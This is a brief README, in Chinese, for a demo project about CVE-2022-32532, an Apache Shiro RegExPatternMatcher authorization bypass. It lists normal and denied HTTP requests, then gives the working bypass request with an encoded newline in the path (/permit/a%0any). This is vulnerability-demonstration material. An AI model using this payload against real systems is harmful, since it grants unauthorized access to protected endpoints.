CVE-2022-32532

关于

这是一个演示项目，仅展示了利用此漏洞（CVE-2022-32532）的条件之一。

事实上，利用它的方式不止一种。只要开发者使用了 RegExPatternMatcher，就可能存在绕过漏洞。

在当前配置下，需要验证 Token 请求头，否则您无权访问 /permit 下的接口

该请求可以成功

GET /permit/any HTTP/1.1
Token: 4ra1n

当没有 Token 请求头时，不允许访问

GET /permit/any HTTP/1.1

在特殊但常见的配置中，可以通过一种简单的方式绕过

GET /permit/a%0any HTTP/1.1

此漏洞与 Spring-Security 的 CVE-2022-22978 类似

感谢 bdemers（Apache Shiro PMC）和 chybeta（安全研究员）